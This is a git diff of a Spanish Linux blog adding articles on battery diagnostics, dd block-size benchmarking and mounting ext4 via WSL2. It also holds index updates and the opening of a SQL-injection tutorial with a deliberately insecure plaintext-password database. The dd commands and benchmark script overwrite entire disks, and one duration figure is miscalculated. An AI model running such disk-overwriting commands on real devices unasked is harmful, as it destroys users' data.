+UserParameter=VoltageMin,cat /sys/class/power_supply/BAT0/voltage_min_design
+UserParameter=VoltageNow,cat /sys/class/power_supply/BAT0/voltage_now
+UserParameter=CurrentNow,cat /sys/class/power_supply/BAT0/current_now
+UserParameter=Capacity,cat /sys/class/power_supply/BAT0/capacity
+UserParameter=Status,if [ "$(cat /sys/class/power_supply/BAT0/status)" = "Charging" ]; then echo 1; else echo 0; fi</code></pre>
+<p>De tal forma, monitorizamos los valores de la batería, como el amperaje degradado y la corriente la corriente a través del tiempo:</p>
+<img class="color-invertible" style="width: 100%;" src="resources/graph-charge.png" />
+<p>Por otro lado, comprobamos la capacidad porcentual (y bruta). Esto nos muestra valores interesantes, como que la batería tarda en desgastarse prácticamente lo mismo que al rellenarse, sin embargo, al llegar al umbral de 8% de capacidad, ésta se vacía a una velocidad mucho más lenta hasta el 0%, lo que constituye un primer indicador del funcionamiento extraño de la batería:</p>
+<img class="color-invertible" style="width: 100%;" src="resources/graph-perc.png" />
+<p>Otro de los indicadores más extraños proviene al apagar el equipo durante unas horas. Éste al encenderse de nuevo, marca una batería que no se corresponde con el valor de apagado. En el ejemplo registrado, se observa como la batería se encontraba aproximadamente marcando un 10% de capacidad, pero tras 1,45h sin interacción de ningún tipo (lógicamente no estuvo conectado a la red eléctrica en este tiempo) vuelve a marcar un valor entre el 60-70% de capacidad:</p>
+<img class="color-invertible" style="width: 100%;" src="resources/graph-poweroff.png" />
+<p>Como sabemos, el valor mínimo establecido por diseño que indica la batería es de 11.4V. Sin embargo y tal como se ve, sólo excede el mínimo cuando está conectado a AC:</p>
+<img class="color-invertible" style="width: 100%;" src="resources/graph-voltage.png" />
+<p>Por lo tanto y con toda la información recopilada, concretamente la pronunciada degradación de la batería (diferencia entre <emb>charge_full_design</emb> y <emb>charge_full</emb>) y la evidencia de que baja regularmente del voltaje mínimo establecido por diseño (<emb>voltage_min_design</emb>) sugiere que la batería probablemente esté en un estado crítico, y que podría fallar en cualquier momento.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/bateria/resources/graph-charge.png b/bateria/resources/graph-charge.png
Binary files differ.
diff --git a/bateria/resources/graph-perc.png b/bateria/resources/graph-perc.png
Binary files differ.
diff --git a/bateria/resources/graph-poweroff.png b/bateria/resources/graph-poweroff.png
Binary files differ.
diff --git a/bateria/resources/graph-voltage.png b/bateria/resources/graph-voltage.png
Binary files differ.
diff --git a/dd/index.html b/dd/index.html
@@ -0,0 +1,133 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Sobre el tamaño de bloque en dd</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Sobre el tamaño de bloque en dd</p>
+<p class="date">16 de marzo de 2021 • fjbalon</p>
+</header>
+<p>dd es una de las herramientas invaluables de cualquier arsenal Unix, y quizás una de las herramientas más potentes que existen en esta familia. Forma parte de las core utils y su objetivo principal es convertir y copiar archivos -de manera similar a cp-, dd hace una copia bit a bit con funciones de control de flujo de entrada y salida a bajo nivel. </p>
+<p>Permite entonces realizar tareas generales, como quemar una imagen -generalmente ISO- en un medio de instalación USB.</p>
+<pre><code>dd bs=512K if=/image.iso of=/dev/sdx conv=fsync oflag=direct status=progress</code></pre>
+<p>El uso de dd es simple, indicamos como parámetros un archivo de entrada (input file - if) y uno de salida (output file - of). De tal forma, también permite clonar un disco completo en el sistema de ficheros, siempre que indiquemos como if el disco físico (por ejemplo <emb>/dev/sdx</emb>) y como of la imagen a crear. Para mayor eficiencia y uso de recursos de espacio de disco, lo comprimimos con <emb>gz</emb> (tenga en cuenta que gzip sólo comprime utilizando un núcleo de la CPU, por lo que en discos de tamaño considerable, recomiendo utilizar otra herramienta como <emb>pigz</emb> para optimizar al máximo el tiempo de compresión):</p>
+<pre><code>dd bs=512K if=/dev/sdx status=progress | gzip -c > /image.img.gz</code></pre>
+<p>Del mismo modo, intercambiando if y of podemos quemar esta imagen comprimida en cualquier otro disco, sea <emb>/dev/sdy</emb>:</p>
+<pre><code>gunzip -c /image.img.gz | dd bs=512K of=/dev/sdy status=progress</code></pre>
+<p>Si lo único que deseamos es clonar de un disco a otro, podemos evitar el intermediario y hacerlo directamente jugando con if y of, dados los discos <emb>/dev/sdx</emb> y <emb>/dev/sdy</emb>:</p>
+<pre><code>dd bs=512K if=/dev/sdx of=/dev/sdy status=progress</code></pre>
+<p>Quizá sea porque hay que ser extremadamente cauteloso utilizando dd, ya que es sencillo destruir datos de forma irreversible en caso de negligencia; lo que hace que muchas veces nos enfoquemos únicamente en acertar con el parámetro of (archivo de salida - output file), o quizá sea pereza mental, pero un aspecto que se pasa normalmente por alto es el relativo a los tres argumentos de tamaño de bloque: ibs (tamaño de bloque de entrada), obd (tamaño de bloque de salida) y bs (tamaño de bloque de entrada y salida, abarcándolo todo).</p>
+<p>Partamos de la base de que un bloque es una unidad que mide el número de bytes que se leen, escriben o convierten a la vez. De forma general y predeterminada, dd utiliza un tamaño de bloque de 512 bytes, tanto para la entrada como para la salida. Esto quizás ha sido correcto entre 1980 y 1999, cuando la mayoría de discos tenían un tamaño de sector de 512 bytes, sin embargo en los últimos años la mayoría de los discos tienen un tamaño de sector de al menos 4096 bytes (4K). Aunque el cambio puede parecer intrascendente, puede conducir a ineficiencia e inestabilidad, más teniendo en cuenta que los discos actuales pueden tener más de 1TB de capacidad, lo que requiere un tamaño de bloque más óptimo.</p>
+<p>Por convención, hoy en día se recomienda utilizar un tamaño de bloque de 64K (en ocasiones se indica como 128K), asegurándose como más óptimos. Sin embargo, al no existir contexto ni explicación, lo considero un argumento viciado y arbitrario, teniendo en cuenta que no existe un tamaño de bloque universalmente correcto: lo que es óptimo para una situación puede ser terriblemente ineficiente para otra.</p>
+<p>Si tomamos como ejemplo de lectura el fichero <emb>/dev/zero</emb> y lo escribimos en un disco de 1TB SSD, producimos un rendimiento de 39,6 MB/s tomando el tamaño de bloque predeterminado de 512 bytes. Esto daría una duración de 26.479 segundos, unas 26 horas. Para el mismo caso pero en un disco de 1TB HDD, el rendimiento descendería a 10,9 MB/s, es decir, 96.200 segundos o unas 26 horas. Si tomamos el tamaño de bloque recomendado de 64K obtenemos un rendimiento de 266 MB/s (3.942s, ~1,1h) para SSD y 108 MB MB/s (9.709s, ~2,7h) para HDD. Si lo que buscamos es velocidad óptima, evidentemente cuanto mayor sea el tamaño de bloque, menos llevará a dd realizar la copia.</p>
+<p>Para ilustrarnos técnicamente, dado el script:</p>
+<pre><code>#!/bin/bash
+
+target=$1
+origin=/dev/urandom # /dev/zero
+file_SIZE=134217728 # 128MB
+
+human_bytes () {
+ unidades="b,K,M,G,T,P,E,Z,Y"
+ i=1
+ base=$(echo "$1 / 1" | bc)
+ variable=$( echo $base / 1024 | bc )
+ while [ $variable -gt 0 ]
+ do
+ let i=i+1
+ base=$(echo "$base / 1024" | bc)
+ variable=$(echo $base / 1024 | bc )
+ done
+ echo $base$(echo $unidades | cut -f$i -d, )
+}
+
+for BLOCK_SIZE in 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864
+do
+ COUNT=$(($file_SIZE / $BLOCK_SIZE))
+
+ if [ $COUNT -le 0 ]; then
+ echo "Block size of $BLOCK_SIZE estimated to require $COUNT blocks, aborting further tests."
+ break
+ fi
+
+ # Clear kernel cache to ensure more accurate test
+ [ $EUID -eq 0 ] && [ -e /proc/sys/vm/drop_caches ] && echo 3 > /proc/sys/vm/drop_caches
+
+ DD_RESULT=$(dd if=$origin of=$target bs=$BLOCK_SIZE count=$COUNT conv=fsync 2>&1 1>/dev/null)
+ TRANSFER_RATE=$(echo $DD_RESULT | \grep --only-matching -E '[0-9.]+ ([MGk]?B|bytes)/s(ec)?')
+
+ printf "$BLOCK_SIZE ($(human_bytes $BLOCK_SIZE)) : $TRANSFER_RATE \n"
+done</code></pre>
+<p>Donde <emb>human_bytes</emb> se corresponde a una adaptación del script de «humanización» del resultado en bytes:</p>
+<pre><code>unidades=" bytes, KB, MB, GB, TB, PB, EB, ZB, YB"
+i=1
+base=$(echo "scale=2; $1 / 1" | bc)
+variable=$( echo $base / 1024 | bc )
+while [ $variable -gt 0 ]
+do
+ let i=i+1
+ base=$(echo "scale=2; $base / 1024" | bc)
+ variable=$(echo $base / 1024 | bc )
+done
+echo $base$(echo $unidades | cut -f$i -d, )</code></pre>
+<p>Cuyo resultado se basa en la escritura de datos provenientes de <emb>/dev/zero</emb> ó <emb>/dev/urandom</emb> en un disco pasado como argumento, de tal forma que analiza el rendimiento dado por el obs:</p>
+<pre><code>sudo ./dd-obs.sh /dev/sdd
+512 (512b) : 7 MB/s
+1024 (1K) : 9 MB/s
+2048 (2K) : 0 MB/s
+4096 (4K) : 192 MB/s
+8192 (8K) : 205 MB/s
+16384 (16K) : 204 MB/s
+32768 (32K) : 202 MB/s
+65536 (64K) : 195 MB/s
+131072 (128K) : 201 MB/s
+262144 (256K) : 203 MB/s
+524288 (512K) : 200 MB/s
+1048576 (1M) : 200 MB/s
+2097152 (2M) : 197 MB/s
+4194304 (4M) : 203 MB/s
+8388608 (8M) : 193 MB/s
+16777216 (16M) : 197 MB/s
+33554432 (32M) : 189 MB/s
+67108864 (64M) : 194 MB/s</code></pre>
+<p>Lo que lleva a analizar que un tamaño de bloques definido entre 64K y 512K es suficientemente óptimo, tomando como referencia valores más altos en los que apenas se notaría la optimización (y como detallaré más adelante ofrecerá más riesgo) y valores inferiores, contra los que sí que se observa una clara diferencia, especialmente tomando el valor por defecto.</p>
+<p>Para analizar el ibs, debemos indicar el disco como if y copiar el contenido of a <emb>/dev/null</emb>, teniendo una lógica similar a:</p>
+<pre><code>BLOCK_SIZE=65536
+COUNT=$(($file_SIZE / $BLOCK_SIZE))
+dd if=/dev/urandom of=$target bs=$BLOCK_SIZE count=$COUNT > /dev/null 2>&1
+
+for BLOCK_SIZE in 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864
+do
+ DD_RESULT=$(dd if=$target of=/dev/null bs=$BLOCK_SIZE 2>&1 1>/dev/null)
+ TRANSFER_RATE=$(echo $DD_RESULT | \grep --only-matching -E '[0-9.]+ ([MGk]?B|bytes)/s(ec)?')
+ printf "$BLOCK_SIZE ($(human_bytes $BLOCK_SIZE)) : $TRANSFER_RATE \n"
+done</code></pre>
+<p>Ofreciendo un resultado similar, permitiéndonos ajustar el tamaño del bloque con mayor inteligencia:</p>
+<pre><code>sudo ./dd-ibs.sh example
+512 (512b) : 275 MB/s
+1024 (1K) : 373 MB/s
+2048 (2K) : 276 MB/s
+4096 (4K) : 491 MB/s
+8192 (8K) : 134 MB/s
+16384 (16K) : 348 MB/s
+32768 (32K) : 451 MB/s
+65536 (64K) : 486 MB/s
+131072 (128K) : 333 MB/s
+262144 (256K) : 406 MB/s
+524288 (512K) : 257 MB/s
+1048576 (1M) : 439 MB/s
+2097152 (2M) : 188 MB/s
+4194304 (4M) : 152 MB/s
+8388608 (8M) : 135 MB/s
+16777216 (16M) : 193 MB/s
+33554432 (32M) : 120 MB/s
+67108864 (64M) : 8 MB/s</code></pre>
+<p>Hay que tener en cuenta que, si el tamaño de bloque es, digamos, 1M, dd leerá 1024x1024 bytes y escribirá bytes iguales. Pero si ocurriera un error de lectura, las cosas saldrán mal. Se tiende a pensar que dd llenará los errores de lectura con ceros si usa las opciones <emb>noerror</emb> y <emb>sync</emb>, sin embargo esto no es lo que sucede: dd rellenará el obs con el tamaño del ibs después de completar su lectura, lo que significa que agregará ceros al final del bloque. Es decir, para un disco todo el 1M se estropearía debido a un solo error de lectura de 512 bytes al comienzo de la lectura: <emb>12ERROR89</emb> se convertiría en <emb>128900000</emb> en lugar de <emb>120000089</emb>.</p>
+<p>Si tenemos la certeza de que el disco no contiene ningún error, podríamos continuar usando un tamaño de bloque más grande, lo que aumentará la velocidad de su copia varias veces, especialmente siguiendo los parámetros anteriores para una mayor eficiencia. Por ejemplo, en teoría cambiar el bs de 512 a 64K cambiará la velocidad de copia de 35MB/s a 120MB/s, tomando como ejemplo un sistema Celeron de 2.7 GHz. Pero tenga en cuenta que los errores de lectura en el disco de origen terminarán como «errores de bloque» en el disco de destino, es decir, un solo error de lectura de 512 bytes dañará todo el bloque de salida de 64K.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/ext4-wsl2/ext4-windows-wsl2.png b/ext4-wsl2/ext4-windows-wsl2.png
Binary files differ.
diff --git a/ext4-wsl2/index.html b/ext4-wsl2/index.html
@@ -0,0 +1,118 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Montaje de sistema de archivos ext4 a través de WSL2</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Montaje de sistema de archivos ext4 a través de WSL2</p>
+<p class="date">5 de junio de 2026 • fjbalon</p>
+</header>
+<p>En un artículo algo extraño para lo que suelo escribir, enfocado en el sistema de Microsoft Windows. Tranquilícese el lector, incluso encuadrando el artículo a través del sistema operativo ajeno a las buenas costumbres, no se trata de él mismo, sino que sigue tratándose de Linux por:</p>
+<p>a. los formatos de sistemas de archivos transaccionales ext2, ext3 o ext4, pertenecientes nativamente al kernel de Linux desde la introducción en 1993 de ext2, y</p>
+<p>b. WSL2 que no es si quiera una capa de compatibilidad con el kernel, como era WSL; sino que ofrece un kernel de Linux a través de virtualización, con llamadas a la API del kernel.</p>
+<p>Si hubiera alguna categoría para ello creo que las más adecuadas sería
+compatibilidad o virtualización. Ya que, por trabajo, he tenido la necesidad de montar un de mis discos duros externos, que suelo llevar formateados con el sistema de archivos ext4, en un sistema Windows.</p>
+<p>Obviando la blasfemia, con un poco de humor, creo que los pasos a realizar pueden ser de interés para muchos. Ya que, no lo sabía, no existe compatibilidad nativa en Windows para montar estos sistemas de archivos. Y no basta, como en GNU/Linux, con instalar un paquete de compatibilidad para montar, por ejemplo, NTFS.</p>
+<p>Entonces, ¿cómo puedo utilizar mi disco ext4 en un sistema Windows incompatible? Hay softwares de terceros que se pueden buscar e instalar, pero de primeras lo evitaría. Primero, por seguridad; ya bastante inseguro es Windows como para que le metamos más códigos cerrados y obtusos para pequeñas funcionalidades; además que crea aun más basura en un sistema tan sucio, estructural y organizativamente hablando. Por ello, he optado por utilizar WSL o Windows Subsystem Linux que, para quien no lo sepa, es una implementación de Windows relativamente reciente que permite ejecutar un entorno, más o menos virtualizado, de Linux en una máquina Windows. Como decía antes, de hecho, WSL2 ofrece directamente un núcleo de Linux optimizado por Microsoft.</p>
+<p>De ahí, lo primero necesario es tener actualizado WSL2 con una distribución Linux, en mi caso, Debian:</p>
+<pre><code>C:\>wsl --mount PATH
+Esta operación solo es compatible con WSL2
+
+C:\>wsl.exe --update
+Instalando: Subsistema de Windows para Linux
+Se ha instalado Subsistema de Windows para Linux.
+
+C:\>wsl.exe --list --online
+
+A continuación, se muestra una lista de las distribuciones válidas que se pueden instalar.
+Instalar con "wsl.exe --install <Distro>".
+
+NAME FRIENDLY NAME
+AlmaLinux-8 AlmaLinux OS 8
+AlmaLinux-9 AlmaLinux OS 9
+AlmaLinux-Kitten-10 AlmaLinux OS Kitten 10
+Debian Debian GNU/Linux
+SUSE-Linux-Enterprise-15-SP5 SUSE Linux Enterprise 15 SP5
+SUSE-Linux-Enterprise-15-SP6 SUSE Linux Enterprise 15 SP6
+Ubuntu Ubuntu
+Ubuntu-24.04 Ubuntu 24.04 LTS
+kali-linux Kali Linux Rolling
+openSUSE-Tumbleweed openSUSE Tumbleweed
+openSUSE-Leap-15.6 openSUSE Leap 15.6
+Ubuntu-18.04 Ubuntu 18.04 LTS
+Ubuntu-20.04 Ubuntu 20.04 LTS
+Ubuntu-22.04 Ubuntu 22.04 LTS
+OracleLinux_7_9 Oracle Linux 7.9
+OracleLinux_8_7 Oracle Linux 8.7
+OracleLinux_9_1 Oracle Linux 9.1
+
+C:\>wsl.exe --install Debian
+
+Descargando: Debian GNU/Linux
+[========================= 43,4% ]</code></pre>
+<p>También es necesario habilitar la característica de Virtual Machine Platform, si no lo hubiera.</p>
+<pre><code>dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart</code></pre>
+<p>Entonces podemos descubrir el disco y lo montamos a través de WSL, para los unixeros, estamos haciendo el equivalente de Windows a lsblk y mount:</p>
+<pre><code>wmic diskdrive list brief
+Caption DeviceID Model Partitions Size
+KBG50ZNS512G NVMe KIOXIA 512GB \\.\PHYSICALDRIVE0 KBG50ZNS512G NVMe KIOXIA 512GB 3 512105932800
+sobetter EXT SCSI Disk Device \\.\PHYSICALDRIVE1 sobetter EXT SCSI Disk Device 1 500105249280
+
+C:\Windows\System32>wsl --mount \\.\PHYSICALDRIVE1 --partition 1
+
+El disco se montó correctamente como "/mnt/wsl/PHYSICALDRIVE1p1".
+Nota: La ubicación será diferente si ha modificado la configuración de automount.root en /etc/wsl.conf.
+Para desmontar y desasociar el disco, ejecute "wsl.exe --unmount \\.\PHYSICALDRIVE1".</code></pre>
+<img src="ext4-windows-wsl2.png" />
+<p>Y con esto, podemos usar nuestros discos en Windows de forma prácticamente nativa, sin necesidad de instalar software de terceros a parte.</p>
+<p>Pero, ¿y si no queremos montar un disco duro sino un pendrive o memoria flash?</p>
+<p>En un inicio intenté hacer lo mismo, ¿pero cuál fue mi sorpresa? resulta que el procedimiento ya descrito <a href="https://github.com/microsoft/WSL/issues/6011">no sirve con pendrives</a>.</p>
+<p>Por lo que hay que buscar otra alternativa... Me hablan de <a href="https://github.com/dorssel/usbipd-win/releases">usbipd-win</a>, una utilidad para compartir USB entre la máquina Windows anfitriona, Hyper-V y WSL2.</p>
+<p>De esta forma, puedo listar los USB conectados:</p>
+<pre><code>PS C:\WINDOWS\system32> usbipd.exe list
+Connected:
+BUSID VID:PID DEVICE STATE
+2-6 0bda:5570 Integrated Webcam, Integrated IR Webcam, Camera DFU Device Not shared
+2-8 0a5c:5843 Dell ControlVault w/ Fingerprint Touch Sensor, Lector de ... Not shared
+2-10 8087:0033 Intel(R) Wireless Bluetooth(R) Not shared
+2-15 346d:3281 Dispositivo de almacenamiento USB Not shared
+3-2 05e3:0754 Dispositivo de almacenamiento USB Not shared
+4-1 413c:301a Dispositivo de entrada USB Not shared
+4-3 2109:0100 USB 2.0 BILLBOARD Not shared
+4-4 03f0:0324 Dispositivo de entrada USB Not shared
+4-5 2109:8888 USB Billboard Device Not shared</code></pre>
+<p>Identifico mi pendrive como si de <emb>/dev</emb> se tratara, siendo <emb>2-15, 346d:3281, Dispositivo de almacenamiento USB</emb>, y mediante el <emb>BUSID</emb> lo comparto y paso a WSL:</p>
+<pre><code>usbipd bind --busid 2-15
+usbipd attach --wsl --busid 2-15
+
+usbipd: info: Using WSL distribution 'Debian' to attach; the device will be available in all WSL 2 distributions.
+usbipd: info: Loading vhci_hcd module.
+usbipd: info: Detected networking mode 'nat'.
+usbipd: info: Using IP address 172.27.32.1 to reach the host.</code></pre>
+<p>Ahora, en el Linux embebido de WSL, aparece como dispositivo en <emb>/dev/sde</emb>:</p>
+<pre><code>lsblk
+NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
+sda 8:0 0 364.8M 1 disk
+sdb 8:16 0 144.5M 1 disk
+sdc 8:32 0 2G 0 disk [SWAP]
+sdd 8:48 0 1T 0 disk /mnt/wslg/distro /
+sde 8:64 1 231.1G 0 disk</code></pre>
+<p>Esto ya es territorio Linux, por lo que simplemente debo montarlo y usarlo como de costumbre.</p>
+<p>Lo siento por la entrada heterodoxa, pero a veces tenemos que ponernos guantes quirúrgicos y usar estos sistemas, y qué mejor que contar atajos para poder usar nuestros discos y particiones ext2, ext3 o ext4.</p>
+<p>Sirva como resumen o gist:</p>
+<pre><code># Montaje de disco duro ext4
+wmic diskdrive list brief
+wsl --mount \\.\PHYSICALDRIVE1 --partition 1
+
+# Montaje de pendrive ext4
+usbipd.exe list
+usbipd bind --busid 2-15
+usbipd attach --wsl --busid 2-15
+lsblk</code></pre>
+</body>
+</html>
+\ No newline at end of file
diff --git a/index.html b/index.html
@@ -33,16 +33,41 @@
<p class="info">22 de junio de 2026 · fjbalon</p><p>Un software que me gusta bastante de la caja de herramientas de suckless es slock, un bloqueador de pantalla minimalista; tan minimalista que yo creo que es el bloqueador de pantalla x más sencillo q...</p>
</a>
+<a href="./ext4-wsl2/" class="article">
+ <p class="title">Montaje de sistema de archivos ext4 a través de WSL2</p>
+ <p class="info">5 de junio de 2026 · fjbalon</p><p>En un artículo algo extraño para lo que suelo escribir, enfocado en el sistema de Microsoft Windows. Tranquilícese el lector, incluso encuadrando el artículo a través del sistema operativo ajeno ...</p>
+</a>
+
+<a href="./ab-1043-linux/" class="article">
+ <p class="title">La ley AB 1043 (Digital Age Assurance Act) de California en el kernel de Linux</p>
+ <p class="info">2 de abril de 2026 · fjbalon</p><p>En el día de ayer, se ha visto publicado en el Linux Kernel Mail List un correo que detalla un parche muy llamativo: [PATCH] vfs: require verified birth date for file creation....</p>
+</a>
+
<a href="./slackware-slackbuild/" class="article">
<p class="title">Anatomía de un SlackBuild</p>
<p class="info">12 de diciembre de 2025 · fjbalon</p><p>Como usuario de Slackware, he usado alguna vez scripts de SlackBuild para crear un paquete de software que pueda ser instalado fácil y limpiamente, y eliminado más tarde si es necesario con la misma...</p>
</a>
+<a href="./propagacion-malware-script/" class="article">
+ <p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p>
+ <p class="info">15 de abril de 2025 · fjbalon</p><p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anun...</p>
+</a>
+
+<a href="./urxvtd/" class="article">
+ <p class="title">Del emulador de terminal urxvt</p>
+ <p class="info">20 de julio de 2024 · fjbalon</p><p>El emulador de terminal es el programa que proporciona una interfaz de texto que imita el comportamiento de una terminal hardware-física, de tal forma que el usuario interactúe con el sistema operat...</p>
+</a>
+
<a href="./http-darkmode/" class="article">
<p class="title">Algoritmo para determinar el grado del modo oscuro en imágenes invertidas</p>
<p class="info">11 de junio de 2024 · fjbalon</p><p>No son pocas las ocasiones en que los sitios web ofrecen, a través de código javascript y cookies, sistemas de switch (o conmutador, en cristiano) del sistema claro u oscuro. Por la salud visual de ...</p>
</a>
+<a href="./xz-liblzma/" class="article">
+ <p class="title">Del backdoor de SSH por xz/liblzma</p>
+ <p class="info">1 de abril de 2024 · fjbalon</p><p>Como bien se sabe, este no es un blog de noticias. Ni me interesan por regla común, ni mucho menos quiero ser partícipe o servidor de ellas. Este es un blog que se centra en el mundo de las ideas, d...</p>
+</a>
+
<a href="./slackware/" class="article">
<p class="title">De Slackware</p>
<p class="info">16 de marzo de 2024 · fjbalon</p><p>Slackware es la distribución de Linux más vieja y antigua que aún se mantiene con vida. Su lanzamiento inicial fue en 1993 y fue fundada por Patrick Volkerding, basándose en su momento en la distr...</p>
@@ -53,6 +78,16 @@
<p class="info">20 de mayo de 2023 · fjbalon</p><p>En informática, un archivo disperso es un tipo que utiliza más eficientemente el espacio del sistema de archivos cuando los bloques asignados a los archivos están en su mayor parte vacíos. Esto se...</p>
</a>
+<a href="./bateria/" class="article">
+ <p class="title">Diagnóstico de batería de litio desde software</p>
+ <p class="info">8 de diciembre de 2022 · fjbalon</p><p>La siguiente sección del cuaderno de bitácora detalla la investigación que he llevado a cabo para determinar el estado de salud de la batería de litio de mi ordenador portátil, la cual mantiene d...</p>
+</a>
+
+<a href="./tanque-gasoil/" class="article">
+ <p class="title">Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</p>
+ <p class="info">21 de junio de 2022 · fjbalon</p><p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero ...</p>
+</a>
+
<a href="./interpolacion-lineal/" class="article">
<p class="title">Interpolación lineal simple para calcular la temperatura de termorresistencias Pt100</p>
<p class="info">25 de noviembre de 2021 · fjbalon</p><p>El principio básico de un RTD es que su sensor de cable, hecho de un metal con una resistencia eléctrica conocida, cambia su valor de resistencia a medida que la temperatura sube o baja. Aunque las ...</p>
@@ -73,6 +108,16 @@
<p class="info">17 de junio de 2021 · fjbalon</p><p>Dentro de mis intereses en informática y computación, un elemento que siempre me ha atraído mucho es el conocido «make it yourself»; el tener el máximo control posible, incluso sobre los perifé...</p>
</a>
+<a href="./machine-id/" class="article">
+ <p class="title">Del <i>machine-id</i> en relación al clonado de discos</p>
+ <p class="info">22 de marzo de 2021 · fjbalon</p><p>¿Qué es el machine-id? Desde las páginas de man se define como un identificador exclusivo de la máquina. «Este debe considerarse confidencial y no debe exponerse en entornos que no sean de confia...</p>
+</a>
+
+<a href="./dd/" class="article">
+ <p class="title">Sobre el tamaño de bloque en dd</p>
+ <p class="info">16 de marzo de 2021 · fjbalon</p><p>dd es una de las herramientas invaluables de cualquier arsenal Unix, y quizás una de las herramientas más potentes que existen en esta familia. Forma parte de las core utils y su objetivo principal ...</p>
+</a>
+
<a href="./git-stagit/" class="article">
<p class="title">Externalización gráfica de servidor Git propio con stagit</p>
<p class="info">23 de noviembre de 2020 · fjbalon</p><p>A veces es agradable navegar por el registro del historial de git en un navegador web o en algún otro programa sin tener que mirar el repositorio local. Es además una forma de mantener un registro d...</p>
@@ -113,6 +158,31 @@
<p class="info">26 de abril de 2018 · fjbalon</p><p>Tor son las siglas de The Onion Routing, algo que podríamos traducir al español como enrutamiento cebolla; denominado así por su criptografía en capas, como veremos más adelante. Se trata de un p...</p>
</a>
+<a href="./watchdog/" class="article">
+ <p class="title">Síntesis del Linux kernel watchdog</p>
+ <p class="info">12 de junio de 2017 · fjbalon</p><p>El watchdog (perro guardían o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fa...</p>
+</a>
+
+<a href="./jdbc-sql-injection/" class="article">
+ <p class="title">SQL Injection básico en JDBC</p>
+ <p class="info">24 de mayo de 2016 · fjbalon</p><p>Buenos días. La siguiente entrada documenta cómo realizar una prueba de concepto que consiste en realizar una inyección SQL básico en un programa Java con JDBC (Java DataBase Connectivity). Ademá...</p>
+</a>
+
+<a href="./unix-permisos/" class="article">
+ <p class="title">De la heredad de permisos y propietarios de Unix</p>
+ <p class="info">2 de abril de 2016 · fjbalon</p><p>La comprensión del fichero o archivo, file para los anglosajones, es fundamental para comprender la estructura y funcionamiento lógico de Unix. Un fichero es una colección de bytes agrupados bajo u...</p>
+</a>
+
+<a href="./archlinux/" class="article">
+ <p class="title">Guía de instalación de arch linux base</p>
+ <p class="info">22 de marzo de 2016 · fjbalon</p><p>Adentrándonos en el vasto universo de Unix y GNU/Linux, en especial en su distributismo característico; Arch Linux se presenta como una distro recomendada a usuarios avanzados y con cierto conocimie...</p>
+</a>
+
+<a href="./unix-passwd/" class="article">
+ <p class="title">Hardening de passwd y shadow</p>
+ <p class="info">12 de febrero de 2016 · fjbalon</p><p>El contenido del fichero /etc/passwd determina el esqueleto de usuarios del sistema, constituyéndose como la primera línea de defensa del sistema contra accesos no deseados, por lo que debe mantener...</p>
+</a>
+
</section>
</body>
</html>
diff --git a/jdbc-sql-injection/index.html b/jdbc-sql-injection/index.html
@@ -0,0 +1,173 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>SQL Injection básico en JDBC</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">SQL Injection básico en JDBC</p>
+<p class="date">24 de mayo de 2016 • fjbalon</p>
+</header>
+<p>Buenos días. La siguiente entrada documenta cómo realizar una prueba de concepto que consiste en realizar una inyección SQL básico en un programa Java con JDBC (Java DataBase Connectivity). Además serán expuestas algunas posibles soluciones a esta vulnerabilidad. Para ello he creado una sencilla base de datos y he realizado un código de prueba en Java que consulta esta base de datos.</p>
+<p>La base de datos simplemente se compondrá una tabla <emb>Usuarios</emb> que recoge cuatro atributos: (<emb>id</emb>), <emb>nombre</emb>, <emb>pass</emb> y <emb>secreto</emb>. En este último almacenaremos una información secreta de cada usuario, que sólo podrá verla este usuario una vez inicie sesión. Tanto la contraseña como el secreto se encuentran en texto plano, siendo lo ideal cifrarlos para darle seguridad. Pero al tratarse de una prueba básica lo dejaremos así para verlo con más facilidad.</p>
+<p>Después, simplemente añadiremos varios usuarios con diferentes contraseñas. Podemos ver el script SQL:</p>
+<pre><code>CREATE DATABASE dbftwr CHARACTER SET utf8 COLLATE utf8_spanish2_ci;
+
+CREATE TABLE Usuarios (
+id INTEGER NOT NULL AUTO_INCREMENT UNIQUE,
+nombre TEXT NOT NULL,
+pass TEXT NOT NULL,
+secreto TEXT NOT NULL,
+PRIMARY KEY (id));
+
+INSERT INTO Usuarios (nombre,pass,secreto) VALUES
+('pedro','123456','Pedro realmente es Pablo'),
+('pablo','987654321','Pablo es el padre de Juan'),
+('miguel','miguel','Miguel no tiene amigos'); </code></pre>
+<p>Para realizar las consultas a la base de datos e iniciar sesión, he utilizado un código que genere una ventana gráfica (Swing) con un pequeño formulario de inicio de sesión:</p>
+<pre><code>package es.fwhibbit.sqli;
+
+import java.awt.event.ActionEvent;
